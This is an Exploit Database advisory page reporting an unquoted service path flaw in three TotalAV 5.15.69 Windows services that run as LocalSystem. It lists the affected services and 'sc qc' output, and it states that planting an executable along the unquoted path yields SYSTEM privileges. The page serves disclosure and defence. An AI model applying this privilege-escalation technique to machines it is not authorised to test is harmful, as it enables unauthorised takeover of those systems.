

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

Use necessary cookies only

Allow all cookies

Show details

EDB-ID:

50314

CVE:

N/A

EDB Verified: ✖

Author:

[ANDREA INTILANGELO](#)

Type:

[LOCAL](#)

Exploit:   / 

Platform:

[WINDOWS](#)

Date:

2021-09-22

Vulnerable App:



```
# Exploit Title: TotalAV 5.15.69 - Unquoted Service Path
# Date: 22/09/2021
# Exploit Author: Andrea Intilangelo
# Vendor Homepage: https://www.totalav.com
# Software Link: https://download.totalav.com/windows/beta-trial or
https://install.protected.net/windows/cdn3/5.15.69/TotalAV.exe
# Version: 5.15.69
# Tested on: Windows 10 Pro 20H2 and 21H1 x64
```

The PC Security Management Service, PC Security Management Monitoring Service, and Anti-Malware SDK Protected Service services from TotalAV version 5.15.69 are affected by unquoted service path (CWE-428) vulnerability which may allow a user to gain SYSTEM privileges since they all running with higher privileges. To exploit the vulnerability is possible to place executable(s) following the path of the unquoted string.

Affected executables services: SecurityService, SecurityServiceMonitor, AMSProtectedService:

PC Security Management Service

SecurityService

C:\Program Files

```
(x86)\TotalAV\SecurityService.exe          Auto
PC Security Management Monitoring Service  SecurityServiceMonitor  C:\Program
Files (x86)\TotalAV\SecurityService.exe --monitor      Auto
Anti-Malware SDK Protected Service        AMSProtectedService     C:\Program Files
(x86)\TotalAV\savapi\elam_ppl\amsprotectedservice.exe  Auto
```

```
C:\Users\user>sc qc SecurityService
[SC] QueryServiceConfig OPERAZIONI RIUSCITE
```

```
NOME_SERVIZIO: SecurityService
        TIPO                : 10  WIN32_OWN_PROCESS
        TIPO_AVVIO           : 2   AUTO_START
        CONTROLLO_ERRORE     : 1   NORMAL
        NOME_PERCORSO_BINARIO : C:\Program
Files(x86)\TotalAV\SecurityService.exe
        GRUPPO_ORDINE_CARICAMENTO :
        TAG                  : 0
        NOME_VISUALIZZATO     : PC Security Management Service
        DIPENDENZE           :
        SERVICE_START_NAME   : LocalSystem
```

```
C:\Users\user>sc qc SecurityServiceMonitor
[SC] QueryServiceConfig OPERAZIONI RIUSCITE
```

```
NOME_SERVIZIO: SecurityServiceMonitor
        TIPO                : 10  WIN32_OWN_PROCESS
        TIPO_AVVIO           : 2   AUTO_START
        CONTROLLO_ERRORE     : 1   NORMAL
        NOME_PERCORSO_BINARIO : C:\Program
Files(x86)\TotalAV\SecurityService.exe --monitor
        GRUPPO_ORDINE_CARICAMENTO :
        TAG                  : 0
        NOME_VISUALIZZATO     : PC Security Management Monitoring Service
        DIPENDENZE           :
        SERVICE_START_NAME   : LocalSystem
```

```
C:\Users\user>sc qc AMSProtectedService
[SC] QueryServiceConfig OPERAZIONI RIUSCITE
```

```
NOME_SERVIZIO: AMSProtectedService
        TIPO                : 10  WIN32_OWN_PROCESS
        TIPO_AVVIO           : 2   AUTO_START
        CONTROLLO_ERRORE     : 1   NORMAL
        NOME_PERCORSO_BINARIO : C:\Program Files
(x86)\TotalAV\savapi\elam_ppl\amsprotectedservice.exe
        GRUPPO_ORDINE_CARICAMENTO :
        TAG                  : 0
        NOME_VISUALIZZATO     : Anti-Malware SDK Protected Service
        DIPENDENZE           :
        SERVICE_START_NAME   : LocalSystem
```

Tags:

Advisory/Source: [Link](#)



Downloads ▾

Certifications ▾

Training ▾

Pro Services ▾



EXPLOIT DATABASE BY OFFENSIVE SECURITY

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

COOKIES

© [OffSec Services Limited](#) 2021. All rights reserved.